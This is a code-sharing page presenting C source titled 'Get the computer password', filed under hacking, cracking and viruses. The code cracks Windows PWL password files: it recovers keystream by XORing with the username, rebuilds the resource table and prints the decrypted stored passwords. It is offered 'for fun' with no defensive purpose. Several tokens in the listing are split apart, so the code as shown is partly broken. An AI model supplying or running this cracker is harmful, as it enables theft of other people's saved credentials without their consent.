You are on page 1of 3

TITLE : GET THE COMPUTER PASSWORD AUTHOR : BEENU ARORA AUTHOR EMAIL : vyomworld [at] vyomworld.

com Description Use it for fun purposes.As soon as you run this source code,passwords of computer would be displayed..ALL the best Category : Hits 91906 C Hacking & Cracking, Virus

Code : # include<stdio.h> # include<stdio.h> # include<process.h> # include<stdlib.h> # include<ctype.h> # include<conio.h> # include<mem.h> unsigned char huge Data[100001]; unsigned char keystream[1001]; int Rpoint[300]; void main(int argc,char *argv[]){ FILE *fd; int i,j; int size; char ch; char *name; int cracked; int sizemask; int maxr; int rsz; int pos; int Rall[300]; /* Resourse allocation table */ if(argc<2){ printf("usage: glide filename (username)"); exit(1); } /* Read PWL file */ fd=fopen(argv[1],"rb"); if(fd==NULL){ printf("can't open file %s",argv[1]); exit(1); } size=0; while(!feof(fd)){ Data[size++]=fgetc(fd); } size--; fclose(fd); /* Find Username */ name=argv[1]; if(argc>2)name=argv[2]; printf("Username:%s ",name);

/* Copy encrypted text into keystream */ cracked=size-0x0208; if(cracked<0)cracked=0; if(cracked>1000)cracked=1000; memcpy(keystream,Data+0x208,cracked); /* Generate 20 bytes of keystream */ for(i=0;i<20;i++){ ch=toupper(name[i]); if(ch==0)break; if(ch=='.')break; keystream[i]^=ch; }; cracked=20; /* Find allocated resources */ sizemask=keystream[0]+(keystream[1]<<8); printf("Sizemask:%04X ",sizemask); for(i=0;i<256;i++){ if(Data[i]!=0xff){ Rall[Data[i]]++; if(Data[i]>maxr) maxr=Data[i]; } } maxr=(((maxr/16)+1)*16); /* Resourse pointer table size appears to be divisible by 16 */ /*Search after resources */ Rpoint[0]=0x0208+2*maxr+20+2; /* First resources */ for(i=0;i<maxr;i++){ /* Find the size of current resourse */ pos=Rpoint[i]; rsz=Data[pos]+(Data[pos+1]<<8); rsz^=sizemask; printf("Analysing block with size:%04x (%d:%d) ",rsz,i,Rall[i]); if((Rall[i]==0)&&(rsz!=0)){ printf("Unused r esourse has nonzero size!!! "); printf("If last line produed any:You may try to recover "); printf("Press y to attempt the recovery "); ch=getch(); if(ch!='y')exit( 0); rsz=2; i=i-1; } pos=pos+rsz;

/* Resourse have a tedency to have the wrong siz e for some reason*/ /* Chech for correct size*/ if(i<maxr-1){ while(Data[pos+3 ]!=keystream[1]){ printf(":",Data[pos+3]); pos=pos+2; /* Very rude may fail */ } } pos+=2; /* Include pointer in size */ Rpoint[i+1]=pos; } Rpoint[maxr]=size; /* Insert Table data into keystream*/ for(i=0;i<=maxr;i++){ keystream[20+2*i]^=Rpoint[i] & 0x00ff; keystream[21+2*i]^=(Rpoint[i]>>8) & 0x00 ff; } cracked+=maxr*2+2; printf("%d Bytes of ketstream recoverd ",cracked); /* Decrypt resources */ for(i=0;i<maxr;i++){ rsz=Rpoint[i+1]-Rpoint[i ]; if(rsz>cracked)rsz=crack ed; printf("Resource[%d](%d) ",i,rsz); for(j=0;j<rsz;j++) printf("%c",Data[Rpoint[ i]+j]^keystream[j]); printf(" "); } exit(0); }

You might also like